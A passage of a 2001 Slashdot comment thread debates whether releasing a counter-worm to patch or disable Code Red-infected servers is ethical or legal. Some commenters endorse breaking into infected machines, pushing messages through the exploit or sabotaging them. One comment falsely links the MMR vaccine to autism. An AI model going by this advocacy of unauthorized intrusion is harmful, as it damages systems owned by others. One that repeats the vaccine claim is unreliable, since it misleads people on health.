    If this tool then installed the same service on each system that attacked it, code red would be wiped out very quickly. Just make sure you don't screw up.

  57. Re:Don't be a part of the problem by lobsterGun · · Score: 1

    Does this mean that if someone with the plague is following me around and coughing on me that all I'm allowed to do is to run away or lock myself in my house?

    Or if I'm the resident of a small town and the owner of the local nuke power plant deicdes to block out the sun to raise my power bill does this mean that I'm not allowed to tip over his sun blocking device?

  58. didn't we see this already? by Kiff · · Score: 1

    In this recent post this same topic was discussed already... or am I missing something? AFAIK, people who owned the systems didn't want it since it violated their systems, and others did want it since it would fix potentially vulnerable systems outside their control.

  59. Re:Because... by Anonymous Coward · · Score: 0

    You're full of shit.

    The scripts to do it are more or less out there, with a bit of tweaking. I could do it, and I have the "lack of ethics" to stop what is essentially a DDoS against my network. Why haven't I? I haven't found a place I'd feel secure in launching from without thread of legal retaliation; i.e. I think I'd get traced and the feds would kick my ass.

  60. The Cheese Worm did this for Lion-infected hosts by Philbert+Desenex · · Score: 2, Informative

    The Cheese Worm seems to constitute exactly what you want. Cheese actually sought out Linux hosts infected by the Lion worm and removes any backdoor root shells from /etc/inetd.conf . Some say the Cheese Worm constitutes the first hack-of-a-hack known.

    Another first for Linux and Open Source software!

  61. False Sense of Security by khill3210 · · Score: 1

    This suggestion is illegal and unethical. But, more importantly, it leads to a false sense of security. If a worm such as code red infects a box, the box is compromised. Remote users can reconfigure various portions of the box or use the root.exe exploit to basically do whatever they want. Patching the box to prevent further infection would be nice but it would be impossible to undo all the possible damage caused by remote root access to the system. The only way to truly clean a box infected with code red is to power off and reinstall the OS.

  62. Why do schools neglect literary comprehension? by skew · · Score: 1

    "Those who would give up essential liberty, to purchase a little temporary safety, deserve neither liberty nor safety." -- Benjamin Franklin

    Yeah, that means you. You're giving up liberty-- not yours, but theirs....

    Dear old Mr. Franklin must be turning over in his grave! I assume you realize you are misquoting the person who authored the following phrase:

    WE hold these Truths to be self-evident, that all Men are created equal, that they are endowed by their Creator with certain unalienable Rights, that among these are Life, Liberty and the Pursuit of Happiness. -- the (US) Declaration of Independence

    How in the world do you "give up" someone else's liberty? To Franklin, liberty is a right afforded to each person by his Creator, and in the quote you included he was bemoaning those who would sacrifice their own liberty.

    I'm not saying that you don't present a rather strong ethical argument, but don't twist Ben Franklin's words. He was a revolutionary, not a pacifist.

    --

    You can't study the darkness by flooding it with light. --Edward Abbey

  63. Re:Don't be a part of the problem by Anonymous Coward · · Score: 0

    Your solutions should not affect the state of the infected machines..

    [snip]

    ..make a script to firewall off every infected computer for a day

    And if you happen to be an ISP taking this approach? Ooops, you just suggested a solution that affects the state of the infected machines.

    Personally, I'm all for affecting these machines. They aren't in their right minds anymore, so to speak. They're causing damage and need to be stopped. In a month, they won't be, but today they are costing us all thousands in bandwidth.

  64. Re:Virus that installs linux by bigbadwlf · · Score: 1

    Old Billy Gates would just have a heyday with that one, wouldn't he?
    He already claims that Linux is a virus.

  65. Re:Citizen's Arrest by Anonymous Coward · · Score: 0

    "Guns have a lot of benign uses. Ever shot clay pigeons? Ever shoot cans off a fencepost? It's fun!" No offense intended... but historically this activity was practice for killing, and from what I hear heroin is fun, too. The use of guns, heroin or MS products may have unanticipated consequences. The latter being the biggest offender economically. That is unless you wanted to elevate a sub-par silver spooned Harvard student to the status of "World Leader..." (The names have been implied to protect the innocent.)

  66. Why? by sentientbrendan · · Score: 1

    Although I think it is totally ethical to fix security holes in people software without there knowledge... ok not totally ethical, but of all the unethical things someone does in a day it's probably the least unethical.

    As I was saying. Although I don't think it is too unethical to send out some kind of program to close security holes I don't see why we would do it. Viri that attack correctable security problems primarily go after Windows computers because they represent a large homogenous population. That is they have a similar problem that the human species has, a shallow gene pool. Humans do not have much genetic variation from person to person. We all have the same strengths and weaknesses which means if we are attacked by something either almost all of us will survive (except those that die by chance) or almost all of us will die (except those of us that survive by chance). Windows boxes are the same, their only variation is represented by their version and a couple of service packs. Windows boxes all have the same bugs and security holes for a virus to go after.

    Anyhow at this point you are wondering why I made that stupid analogy between human genetic variation and code base variation between windows machines. Well as long as these computers exist the only real defense they have is intelligent sys admins. If smart slash dot readers fix their security problems for them every time some minor upset like this code red virus happens they will never learn to protect their machines, and if that happens we will all be in a real jam when a virus that does have a chance of bringing the flow of information on the net to a grinding halt comes around. Remember it does matter if we are all running a secure box if there are a couple million windows users DDOSing us.

  67. Re:Illegal by 3dr · · Score: 1
    I agree. Intent, in the computer networking field (which is bereft of suitable precedences) doesn't mean a thing here. The "victim", the person with the infected CodeRed'ed IIS box, can legitimately claim they were further hacked by your benevolent fix-it-up antivirus.

    After visiting the antivirus pages on kiro5hin, I immediately wrote up a PHP /default.ida file to NOT probe or exploit their box, but to send this HTTP request:
    GET /your_box_is_infected_with_code_red/please_get_pat ches_from_microsoft HTTP/1.0

    Should they check their logs (and I'm hoping IIS reports failed requests since I don't know how it works), they'll see this message and maybe, just maybe, they'll do something about it.

    This is an entirely passive, noninvasive approach that uses the existing (and intended) ports on their machine to report the problem. Let's just hope they have ears.

  68. Re:net police by ralmeida · · Score: 1
    I think your analogy is incorrect. Try this one:

    Imagine someone tied a rope around your neighbor's cat, so hard that he becomes agressive. His cat sees your cat and tries to attack him. You take his cat and remove the rope, and everything is fine.

    The counter-worm won't damage the infected server. It will put it back to its normal state.

    --
    This space left intentionally blank.
  69. Re:This is not the problem... by docstrange · · Score: 0

    The cure worm would not infect systems, it would only clean allready infected systems. The cleaning would take place when an infected system scans a "bait" pc. You say this is a bandwidth problem, but a few hundred k patch as opposed to the hundreds of megabytes of bandwidth the worm eats when scanning seems reasonable.

    --
    Remember that you are unique, just like everybody else.
  70. Re:Don't be a part of the problem by jeffphil · · Score: 1

    This is an excellent suggestion© You're not changing any files but an alert will pop-up warning them of the virus©

    Mod this parent up©

    In reality, the people who are infected are probably also dumb enough to have port 139 open to where you could send the `net send©©©' directly to their IP and technically never touch their machine©

  71. Re:Its entirely possible by Anonymous Coward · · Score: 0
    If you kill him, it's your word against a dead man's. You can say anything you want about how he threatened you, appeared to brandish a weapon, etc. Heck, you could quickly get an illegal handgun and stick it in his hand to seal the case shut.

    News for nerds...and pigs apparently. If you feel so justified in your actions there should be no need for cover up.

    It is obvious people like you act not out of a feeling of right and wrong, but whatever twisted rationalizations you want. I find you repugnant.

    On another note, I am tired of slashdot's policy of labelling those people who do not care to crate a slashdot account as "Anonymous Cowards": it is hardly heroic to post under a psuedonym, account or not. Few of the "brave" use their given names when posting garbage such as the post I am responding to.

  72. Re:Don't be a part of the problem by Malcontent · · Score: 2

    Yes but you don't get to decide who is a "danger to yourself or others". A judge has to do that.

    --

    War is necrophilia.

  73. Re:Don't be a part of the problem by Frank+T.+Lofaro+Jr. · · Score: 2

    Ah, but we (as a society) do legally require people to get vaccinated, because doing so benefits society as a whole sufficiently to justify the slight loss of personal freedom

    Not so slight in the case of MMR vaccine which has caused much of the increase in autism cases lately.

    Getting back to computers, what about where the anti-virus-virus causes inadvertant damage to the system because it has an unusual configuration, different software, etc. So instead of fixing the webserver, it utterly kills it. That could happen very easily if you binary patch even a slightly different version of the executable than you were expecting. Then what?

    --
    Just because it CAN be done, doesn't mean it should!
  74. Just 13 years behind the times... by iapetus · · Score: 5, Insightful

    The first such anti-virus virus, Den_Zuko, was discovered in 1988. Check out this article on VNUnet, which has more info on the history of such software and why it's a bad idea.

    More recently, the Linux.Cheese.Worm has done similar things for Linux users infected by the Linux.Lion.Worm.

    --
    ++ Say to Elrond "Hello.".
    Elrond says "No.". Elrond gives you some lunch.
    1. Re:Just 13 years behind the times... by Frank+T.+Lofaro+Jr. · · Score: 2

      We said it was free of VIRUSES, we never said it was free of worms. ;)

      --
      Just because it CAN be done, doesn't mean it should!
    2. Re:Just 13 years behind the times... by Anonymous Coward · · Score: 0

      What?!? A worm on Linux? But you friendly linux zealots told me that only lusers who used Microsoft products were susceptible to virii. You said that everyone should "use da Free sofwear becuz its betr." They said it was immune to virii because of its open source. They lied!

    3. Re:Just 13 years behind the times... by Nater · · Score: 1

      We said it was free of VIRUSES, we never said it was free of worms.

      This is correct, but some definitions are in order.

      A virus is not a program. It is a piece of code which spreads by inserting itself into programs. The inserted copies execute when someone runs the infected program. Essentially, what this means is that a virus exploits weak filesystem security. These are generally not such a big deal on Linux and Unix in general because Unix-like operating systems have strong filesystem security, and the only program files that a user can infect are the ones owned by that user. Stuff installed "on the system" (as opposed to in a user's home directory) is not owned by any of the regular users, but rather by an administrative account, often root. Note that if you are logged in as root, and you happen to run a virus infected binary, you will have a major system-wide virus infection. For this (and other) reasons, the person with the root password is supposed to be intelligent about such things.

      A worm is a program that spreads by copying itself from place to place and then causing the copies to execute. This essentially means that worms spread by exploiting just about any sort of bug. The Code Red, SirCam, and some other major auto-exploits of the last few years have been misidentified as virii, when in fact they are worms. Linux and Unix are susceptible to worms because the majority of worms spread via bugs in programs, and it is a well-understood fact that the occassional bug is inevitable, no matter how vigilant the coder.

      A third variety of exploit is the aptly named trojan horse. A trojan horse spreads by misrepresenting itself to a naive user, and duping the user into running it. The LoveBug and AnnaKournikova email "virii" are actually examples of trojan horses. Linux and Unix are somewhat susceptible to trojan horses, but they are by and large also blocked by the same strong filesystem security and intelligent system administrator that blocks virii.

      --

      I like to play children's songs in minor keys.
      "We're all sons of bitches now." --J. Robert Oppenheimer

    4. Re:Just 13 years behind the times... by Anonymous Coward · · Score: 0

      In '86 there was an BITNET email worm known as Christmas Card. You got an animated text Christmas Card that busily forwarded itself to all the other addresses in your reader (your virtual card reader). A time expiring clone of the worm that behaviorally copied it but also deleted instances of the original was used to help bring the original down.

    5. Re:Just 13 years behind the times... by si1k · · Score: 1

      Note that the people who make money off anti-virus software are the most vociferous in the denouncement of anti-worm worms.

      People cite the fact that the viruses use up bandwidth and may go out of control, but since that's already happening with Code Red I/II, I don't see how that's such a valid argument. The negative possibility is that a counter-worm could just do the same damage as the original worm.

      But since the counter-worm would prioritize fixing systems and not be as agressive in seeking targets, it would not use as much bandwidth as the exisiting worm, and since it would replace the existing worm every time it infected, it would not make the situation worse.

      If the worm were well-designed, and if it sought out a meek infection strategy (going after only computers that it knew to be infected, rather than searching randomly), and if it shut the computer or at least web server down after a certain period of activity, it seems it would be beneficial.

  75. "Hard Drive" by thePfhitz · · Score: 1
    A technique like that (using a virus to fight a virus) was used in a book by David Pogue called Hard Drive.

    Seems like a smart idea to me.

  76. Re:Err by jad0 · · Score: 1

    I thought that too, but if you think about it, all the virus would have to do is analyse log files or wait for incoming CR attacks, then patch the *known* infected machines, and look at it this way, you've got a testbed of machines with 60 boxes in it, lets say each one sends out 10 CR attacks a second (only within the range of the 60 machines), that's 600 http requests a second, now if you introduce a counter-worm to one of those machines, you've not only reduced that number to 590, but within the next 6 seconds (or so), you've reduced it to 0 - explain to me how this increases the strain on bandwidth again please? :)

    All you have to do then is tell the worm to wait like 4 hours, then pop up a message saying "patch me bitch!" then wait another 4 hours, check to see if it's patched and then self destruct if it is...

    Jado
    http://www.jado.org

  77. Sircam autoresponse? by iabervon · · Score: 3, Interesting

    It might be possible to make a program that, given a sircam-infected file, would send something to the originator of the message. It could send a message with an attachment that looked for sircam, and, if it found it, removed it and installed the program. That way, it would take a sircam-infected machine and make it respond to future attacks by spreading to the originating machine but do nothing to anyone else.

    The message could even say that was what it was doing.

    "My advise is to run this script to remove the virus and to pass the information on to other people"

    This wouldn't really be a virus at all: the people receive it in response to a request for advice and it is something you actually think they should be running. It doesn't try to infect other machines, except by advising their users to use it; no more illegal than Norton responding to a download request with a program.

  78. Re:Sorry to reinvent the wheel. by ahrenritter · · Score: 1

    Because the update notifier isn't automatically installed. The thing that irritates me most about microsoft is that they make easily exploitable, inadequately tested features like the internet printing capability default, but they don't for something like an automatic patch notification system.

    --

    All I wanted was a rock to wind a piece of string around, and I ended up with the biggest ball of twine in Minnesota
  79. Re:Don't be a part of the problem by Speare · · Score: 1

    American Heritage Dictionary, dictionary.com. [clipped without a copyright attribution, oh no!]

    --
    [ .sig file not found ]
  80. Re:This has already happened by startled · · Score: 1

    Wonderful. He discusses right and wrong, and you attempt to refute with the law. The two are strikingly different.

  81. It actually happened by Anonymous Coward · · Score: 0

    While this approach would be inappropriate today, it was once the only effective means of terminating a runaway computer virus. In fact, in 1985, a malicious Macintosh virus was intercepted and disabled in this way by its benign twin. The original, potentially destructive, virus had escaped the lab and could only be apprehended via a viral mechanism, since there were no systems in place at the time to combat computer viruses.

  82. Re:Its entirely possible by Amanset · · Score: 1

    Imagine a diabetic, an epeleptic or any other person with an illness that may leave them in a confused state.

    Now imagine that they, in their confused state, wonder onto your property. Maybe you left the front door unlocked and the person thought it was their house. You ordering them about whilst brandishing a weapon confuses them more and they don't follow you word for word.

    Can you legally shoot them? If you can then I hope to Hell I don't live in the same country as you.

  83. Don't be a part of the problem by Speare · · Score: 4, Interesting

    Why do schools neglect an ethics curriculum?

    Your solutions should not affect the state of the infected machines. Even if you could "fix" their machine. Even telling them that their machine is infected is over the line, if you're using their machine to do it.

    If you're being hampered by Code Red hits, make a script to firewall off every infected computer for a day. Allow those firewalls to expire, and if they're still infected, they'll get blocked again.

    • "Those who would give up essential liberty, to purchase a little temporary safety, deserve neither liberty nor safety." -- Benjamin Franklin
    Yeah, that means you. You're giving up liberty-- not yours, but theirs. If you're messing with someone else's machine, you are part of the problem. No matter your intentions, or how nicely you word the "message" you deliver onto their desktop. Just don't touch it.

    If you're going to call it a virus, think of the influenza virus. A medicine is widely available on the market. It is up to the infected party to take the medicine, and it would be unethical to sieze the unwitting victim and force the medicine into their bodies.

    It's just a small problem, and in a month, people will just roll their eyes about the terrible outbreak. The best thing to do in a storm is to shelter yourself until it passes, not to rage against the howling winds around you.

    --
    [ .sig file not found ]
    1. Re:Don't be a part of the problem by Cro+Magnon · · Score: 1

      Actually, yes! Have you heard about forcing kids who allegedly have attention defecit disorder to take Ritalin? Often they do so on advice from a teacher or school nurse, rather than a MD. There's nothing even remotely ethical about that!

      --
      Slow down, cowboy! It has been 4 hours since you last posted. You must wait another few hours.
    2. Re:Don't be a part of the problem by Anonymous Coward · · Score: 0

      Yeah, do we want the government doing it? How long before everybody decides that the internet can't maintain itself and starts some governmental agency to buckle down on it? I think the internet should be a public place and if anyone can't deal with the growing pains then get off it.

    3. Re:Don't be a part of the problem by Dutchmaan · · Score: 1

      Schools are run by the state.

      Do you really want the state to teach ethics?

      This also makes ethics defined by a body who's ethics change from administration to administration. Not to mention the fact that it can also be used as a tool by the state to teach us from a young age what is acceptable and what is not. The state can change and so can the curriculum taught by it. I'm sure there were plenty of "ethics" lessons in NAZI Germany, but not the ethics we have come to understand today.

    4. Re:Don't be a part of the problem by Idimmu+Xul · · Score: 0
      Why do schools neglect an ethics curriculum?

      I took an ethics course at Uni, and all it really covered was 'Who should we ethically blame?' that's no solution!
      It seems to me that a better course to have attended would be 'How to patch IIS' or 'Installing Linux'!

      --
      The problem with slashdot is that most of its users were bullied and stuffed into lockers as kids!
    5. Re:Don't be a part of the problem by Mr.+Slippery · · Score: 2
      Ethics is religion. Faith is not a Religion.

      No. Ethics is that branch on philosophy that deals with the question, "How shall we live our lives?" There are supernaturalistic theories of ethics (i.e., we should live our lives according to the dictates of some supernatural being), but there are also plenty of theories without a whit of religious belief - utilitarianism, existentialism, Kantian rationalism, and others.

      Applying these theories to the case of an anti-virus virus is left as an exercise for the reader.

      --
      Tom Swiss | the infamous tms | my blog
      You cannot wash away blood with blood
    6. Re:Don't be a part of the problem by Anonymous Coward · · Score: 0

      actually...

      ethics is a school of philosophy that umbrellas a variety of thought and questions, such as "normative ethics" - ie, what is it to say that something is good or bad, "virtue vice theory", which says whether something is right or wrong, and so on. "how should one leads one's life" falls under normative theory.

      also...existentialism is a philosophical approach that places focus upon the individual, not an ethical theory - or even a theory at all. :)

    7. Re:Don't be a part of the problem by Maditude · · Score: 1

      > Frankly, I'm getting sick of Code Red myself. I
      > use DSL, and it crashes my modem, a lot.

      So CHANGE the bloody web-admin port that your DSL
      router (presumably a Cisco 675) is listening on.
      Poof, just like that, code-red will stop hanging your router.

    8. Re:Don't be a part of the problem by tireg · · Score: 0

      Am I ethical if I jump into the moving car and turn it off ?
      Sure, if that's the ONLY thing you do. But what happens if you cause damage to the car? Or some items in the car are missing when the owner gets it back?
      The main issue is that many people could use this "anti-virus virus" as an excuse to (legally? sorry.. didn't read the above posts on legality etc :P) mess with people's machines. They could unintentionally or intentionally cause damage.

    9. Re:Don't be a part of the problem by Anonymous Coward · · Score: 0

      Try NET SEND /DOMAIN "Message". (and you'll need to escape the / and the " -- see post 619).

      This will potentially pop-up on all machines in the domain.

    10. Re:Don't be a part of the problem by mkelley · · Score: 1

      Religion does not have anything to do with ethics. Organized religion needs ethics...

      --

      m.kelley
      life is like a freeway, if you don't look you could miss it.
    11. Re:Don't be a part of the problem by Anonymous Coward · · Score: 0

      Its not the schools job to teach ethics, it's the parents! and Parents today niglect so many of thier duties, and then blam Schools for it! Some people are just Ruthless no matter what kind of upbringing they had! You can only blame that person! Cy.

    12. Re:Don't be a part of the problem by Innominandum · · Score: 1

      This is my perspective: I am not running a server to handle hundreds of "default.ida" GET requests. These requests are a violation of my bandwidth and processing time.

      Admittedly the resources required to handle the requests are small, it does not change the principal. Assuming our laws are "ethical," one has to admit vandalism and trespassing do not always go unpunished.

      But one thing really perplexes me. Code Red has been in the media spotlight for weeks (?) now and it still runs rampant. What will it take to get these people to get off of their fat asses and fix their servers?

      Forgive my ignorance on this issue, but would it be possible to send back a bogus "default.ida" that will ruin their setup? What is this file anyway?

      This is the best solution. The lazy-ass who is administering the server will be punished, it will draw attention to the problem, and may prevent further intrusions until the problem is fixed.

    13. Re:Don't be a part of the problem by Phork · · Score: 1

      this looks strangley like a post i saw on k5 earlier.

      --
      -- free as in swatantryam - not soujanyam.
    14. Re:Don't be a part of the problem by Frank+T.+Lofaro+Jr. · · Score: 2

      If you're going to call it a virus, think of the influenza virus. A medicine is widely available on the market. It is up to the infected party to take the medicine, and it would be unethical to sieze the unwitting victim and force the medicine into their bodies.

      Well with certain diseases, we DO force people to take medicine, even before they get the disease. FORCED immunizations. Do you agree that that is just as wrong?

      --
      Just because it CAN be done, doesn't mean it should!
    15. Re:Don't be a part of the problem by CodeMonky · · Score: 1

      What happens when the anti-virus you are running on someone's machine without there permission messes up and they're machine stop running?

      --
      --"Karma is justice without the satisfaction"
    16. Re:Don't be a part of the problem by nidarus · · Score: 1
      If you're going to call it a virus, think of the influenza virus. A medicine is widely available on the market.

      Ahm, I know it's kinda offtopic, but does a medicine for the influenza virus (including all of its strains) exist? What is it?

    17. Re:Don't be a part of the problem by i0lanthe · · Score: 2
      I think you could argue rather strongly that you are taking such action in the interest of public safety.

      I think you could argue that rather strongly too, but I also think that the prosecution will make mincemeat of it unless you have a really good lawyer arguing rather strongly alongside you, in which case the prosecution will have to settle for making something less finely ground, such as Dinty Moore beef stew, of it.

      --
      "The Crystal Wind is the Storm, and the Storm is Data, and the Data is Life"
    18. Re:Don't be a part of the problem by trcooper · · Score: 2
      Ethics is all about the shades of grey between black and white. Legality however should have no shades of grey.

      Something may be ethical, but not legal, and vice versa. In this case, a white-hat worm would most certainly be illegal, because you are modifing someone's property without their concent, but to simply say it isn't ethical doesn't look at the whole picture.

      What has to be asked is do people benifit more from your actions than the harm being caused? If this is so, you can ethically justify your actions. If by modifing one person's machine you prevent 50 from being infected, you're doing overall good, and while still outside the law, you are benifitting society.

      If a white-hat worm were to be released into the wild and become widespread and clean up code red's damage, I think it would spark a lot of conversation on the potential of other such worms and the regulation of them for their possible future and benificial use.

    19. Re:Don't be a part of the problem by Archangel+Michael · · Score: 1

      Ethics is religion. Faith is not a Religion. You must understand the difference.

      --
      Agent K: A *person* is smart. People are dumb, stupid, panicky animals, and you know it.
    20. Re:Don't be a part of the problem by Anonymous Coward · · Score: 0

      The reasonable man changes himself to fit the world. The unreasonable man changes the world to fit himself. Therefore, all progress is made by the unreasonable man.

    21. Re:Don't be a part of the problem by mashy · · Score: 1

      A medicine is widely available on the market. It is up to the infected party to take the medicine, and it would be unethical to sieze the unwitting victim and force the medicine into their bodies.

      I agree with that except that I doubt most of the attaching machines' owners even realize they're infected, and in many cases even running IIS.

      I'm still not saying it would then be ethical to force disinfecting code into their machines, but it's kind of like spraying for virus-carying mosquitos (or whatever bugs it's for) in some areas.Residents don't always do their part in clearing water from their yards. Many don't even realize they provided a breeding ground in their yards, some are aware that a problem exists but don't think that they could be part of the problem, and others never got word about it at all. So, the city comes out and sprays for them.
      Is it right for the city to just come and take care of the pest problem in everyone's backyard? Maybe. In this case they don't expect every person and animal to defend itself against poisinous mosquitos by putting insect repellent on themselves and their pets. Homeowners are part of a community and are contributing to a problem within it. This is sort of like the internet. Should we leave these contageous users to be and hope everyone else can handle it?

    22. Re:Don't be a part of the problem by Keviniano · · Score: 1
      Why do schools neglect an ethics curriculum?
      Well, even if schools didn't neglect an ethics curriculum, that doesn't mean we'd all come to the same conclusion you did. Any ethics class worth anything is about critical thinking and asking questions, not what's absolutely right and wrong.

      Take the case of flouridation of water and the adding of iodine to salt. Everyone within the range of distribution is forced to take those medicinal substances unless they take special action to filter their water or use sea salt. Those who pushed for this kind of thing reasoned that it was worth it to mess "with someone else's machine" for the greater social good it achieved. How many people you see with goiters these days?

    23. Re:Don't be a part of the problem by Nater · · Score: 1

      NOBODY is required to be immunized against anything by the government. School districts require it, yes. But there are people out there who have NOT been vaccinated for various "standard-vaccination" type diseases

      Ahem... you could be talking about any one of hundreds of governments in this world and the person you responded to could be talking about any one of the other governments. I was required by the government of Australia to get certain vaccinations (I forget which) before visiting the country.

      Also, note that in many cases, the school district is an organ of the government at some level. In grade school I was required by the school district (an organ of the state government) to get certain immunizations before entering school. Calling it a demand of the school district vs. a demand of the government is like arguing big endian vs. little endian.

      However, you raise an interesting possibility, specifically, that it was a lower authority that demanded immunization. IIRC, the ToS for my DSL connection at the office includes clauses about spreading virii. Under those clauses, it would be perfectly legitimate for an ISP to shut down a connection to an infected site at its sole discretion. The latest Code Red preferrentially attacks its own /24, and so an infected site is essentially hitting its ISP's other customers. If some of you are having big enough problems with your DSL routers, it might bear fruit to contact your ISP about shutting down the offenders, but do check your ToS first.

      --

      I like to play children's songs in minor keys.
      "We're all sons of bitches now." --J. Robert Oppenheimer

    24. Re:Don't be a part of the problem by gad_zuki! · · Score: 2

      It is up to the infected party to take the medicine, and it would be unethical to sieze the unwitting victim and force the medicine into their bodies.

      A couple points:

      1. The infected party doesn't know they're infected. Kind kills the analogy.

      2. Lots are cable modem users whose TOS does not let them run servers to begin with.

      3. They're causing a communal problem - excessive network lag. Why let the authority figures make all the decisions when you can just use the exploit to net send them a message telling them their infected.

      If more people became part of the problem, we'd have a more informed group of users and tighter security.

    25. Re:Don't be a part of the problem by famillionaire · · Score: 1


      You're right about teachers not being responsible for their students' knowledge of basic ethical principles, but I think there's certainly room in schools for classes which would provide perspectives on ethics that go beyond what can be learned in the home. Things like ethical trends in history, alternate ethical systems and ethical philosophy/philosophers which have been influential could certainly make material for a class, and furthermore for an environment where students could be encouraged to work out the implications of the ethical values they learn at home and become more familiar with what they think of them.
      This doesn't respond directly to your post, since I don't think this is exactly what you were thinking of, but these are thoughts I formulated while reading your post, so they go here anyway.

    26. Re:Don't be a part of the problem by florkle · · Score: 1

      Computers aren't analogous to people, they are analogous to cars. They can be well-maintained or they can be so poorly kept that they are dangerous to their operators and other people. In some places, cars are forced to pass certain minimum standards to be operated. No such standards exist for our computers.

      A "friendly" virus that fixed problems would violate the "don't touch peoples" computers concept, but where is this written that computers are inviolate? What if it was delivered via spam to invite participation ("click here to disinfect")?

      Until there is some monolithic enforcer for computer standards (i.e. "your computer is infected ma'am here is a $22 ticket for operating a poorly maintained computer") it seems like it's a wide open game.

      However "friendly viruses" don't seem to inspire their authors much.

      Since the potential legal downside exists for writing a friendly virus as a harmful one, we have a soup where the malicious dump in toxins to have fun at the expense of the helpless, and those who could help are afraid to do so.

      But then again, maybe the problem is poorly written operating systems. Mac's and unix machines are known to have fewer/no virus problems. So long as computers that "unsafe at any speed" are popular, we will have to suffer the frequent exploding-tail-pipe-in-the gas tank.

      --
      -- "If you need to shoot, shoot. Don't talk" -Tuco
    27. Re:Don't be a part of the problem by Anonymous Coward · · Score: 0

      Why do schools neglect an ethics curriculum?

      As someone whose parents both teach, I don't think schools should be teaching ethics, at least tough ones. Of course(?) it is wrong to cheat, start fights, etc...but it isn't the schools job to really TEACH these values. It is still parents. I wish I could count the number of times my mom has been in tears about her children's parents and how disrespectful and uncaring they are to her and their children. It is really sad. So don't go blaming schools for something you should be handling at home. Remember, you're not paying for daycare.

    28. Re:Don't be a part of the problem by meatspray · · Score: 1

      How about making a cmd script for nt/2000

      net send %computeranme% Someone infected your computer with a ______ virus, please go here to get instructions for removing it, www.cert.org/_______

      I don't think it would be so bad. I'd appreciate that info if i were infeted, a large part of the ppl infected don't even know it, ppl that just installed IIS caus they thought the might want it later, ppl that don't use the website for anything on a regular basis and such.

    29. Re:Don't be a part of the problem by Anonymous Coward · · Score: 0

      NOBODY is required to be immunized against anything by the government. School districts require it, yes. But there are people out there who have NOT been vaccinated for various "standard-vaccination" type diseases

    30. Re:Don't be a part of the problem by Anonymous Coward · · Score: 0

      While I agree indescrimantely launching such a anti-worm, on others machines is flat out wrong (though one could argue there heart was in the right place, but hey severly lacked wisdom), a controlled version of such a worm is not a bad idea. What do I mean. Well create the worm, and make it so it will only touch machines you own. Also, if your smart about it, make it so that it reports back to a particular machine so that it never repeats a machine its been to. At anyrate, I think a controllable anti-worm is actually a very good idea.

    31. Re:Don't be a part of the problem by blueg3 · · Score: 1

      Sure, it's unethical, but wouldn't it be great for Microsoft to release their updates as viruses that exploit the very security hole that the patch fixes? I bet it would get a lot better coverage than relying on system administrators to apply the patch themselves.

    32. Re:Don't be a part of the problem by Flammon · · Score: 1

      If you're messing with someone else's machine, you are part of the problem. No matter your intentions, or how nicely you word the "message" you deliver onto their desktop. Just don't touch it.

      I totally disagree. If someone in front of me is randomly and unknowingly firing a gun, I have the liberty to take the gun away from him. I'm not taking liberty away from him, I'm simply protecting myself and others around me. This has nothing to do with liberty since the act is being done unconciously and liberty is the freedom to conciously act.


      If you're going to call it a virus, think of the influenza virus. A medicine is widely available on the market. It is up to the infected party to take the medicine, and it would be unethical to sieze the unwitting victim and force the medicine into their bodies.

      Your argument is flawed because it's missing a few crucial details. If the person who is infected, is unaware of the fact and is infecting others, I would say that you do have the right to force the medicine into their bodies - or simply give them the option of death - either by the virus or otherwise.


      Absolute liberty means anarchy and I believe most people prefer a government and laws designed to protect the majority.

    33. Re:Don't be a part of the problem by Anonymous Coward · · Score: 0

      As Voltare said, your rights start at the end of my fist. I don't agree about using a counter-virus to patch up the infected machines, I do believe that ISP need to take a hard-line stance on their Usage agreements and cancel these accounts that are infected until such time they get the problem fixed and remain up to date on these patches. or univsersally ban NT and 2k being directly connected to their POS devices.

    34. Re:Don't be a part of the problem by blakestah · · Score: 5, Informative

      Your solutions should not affect the state of the infected machines. Even if you could "fix" their machine. Even telling them that their machine is infected is over the line, if you're using their machine to do it.


      Now there is ethics and there is ethics. Here is a scenario that occurred once in Baltimore. A house thief hot-wired a car. He jammed the steering wheel all the way to the side and floored the gas. The car spun and made lots of noise. Meanwhile, the thief broke into people's houses (that is besides the point). Am I ethical if I jump into the moving car and turn it off ?

      The point I am raising is that the car poses a risk to society. I am altering someone else's property in stopping it. However, I don't think it can be called unethical. The danger was created by someone who was not the owner - removal of that danger by another third party can be ethical depending on the magnitude of the danger and the alteration of the property.

      As another example, suppose my neighbor's house is burning and his 10 year old is screaming at the window, and he is not around. Am I ethical in breaking in to save his child ? In this case the answer is really clear.

      In the case of machines compromised with CodeRedII, consider the capability for MASSIVE DDOS directed at anybody launchable by anybody. Those machines are tools to be used by anyone for any reason they like. They can be used as launching points for hacks on military sites. They can be used to snoop for passwords etc. If you go onto those machines and simply remove them from the network by shutting them down (in an orderly fashion), I think you could argue rather strongly that you are taking such action in the interest of public safety.

      Ethics is rarely so cut and dried that one could claim that you should NEVER alter someone else's property.

    35. Re:Don't be a part of the problem by blakestah · · Score: 2

      What happens when the anti-virus you are running on someone's machine without there permission messes up and they're machine stop running /

      You mean hypothetically my anti-virus stopped the 300 different threads on his machine that are attacking his Class A and Class B nets ?

      I would say that is EXACTLY the intention. These machines are not benign. They are screwing up net traffic.

      Worse yet, if ANYONE wanted, they could turn the machines into DDOS attacking machines focussed on a single target. Remember mafiaboy who shut down etrade and other .com sites with his DDOS ? Well, he had something like 150 machines at his disposal.

      This one is hitting something like 2 million machines. These machines need to be turned off, patched, whatever. Instead they just sit there attacking other machines.

      And again, if this came to a legal argument, there are other considerations.

      1) The admin ignored the security advisory by Microsoft two months ago.

      2) The admin ignored the CodeRed virus at the end of last month

      3) The admin ignored CodeRed this month, and CodeRedII this month.

      Basically, you have an admin who is either not monitoring or doesn't care about his server. This is not the signature of a mission critical admin - this is the signature of someone who doesn't know or doesn't care.

    36. Re:Don't be a part of the problem by Speare · · Score: 4, Insightful
      Ethics, sure. Morality, no. There's a difference.

      ethics:
      2. Being in accordance with the accepted principles of right and wrong that govern the conduct of a profession.

      moral:
      1. Of or concerned with the judgement of the goodness or badness of human action and character.

      You want an ethical lawyer, but not one who applies morality. You want an ethical doctor, but not one who judges your morality.

      Ethics is reflective, driving ones own behavior with respect for others. Morality is applied to others, and rarely implies respect for others.

      --
      [ .sig file not found ]
    37. Re:Don't be a part of the problem by IronChef · · Score: 3, Insightful

      Anyone who has to be *schooled* in ethics has already lost the battle.

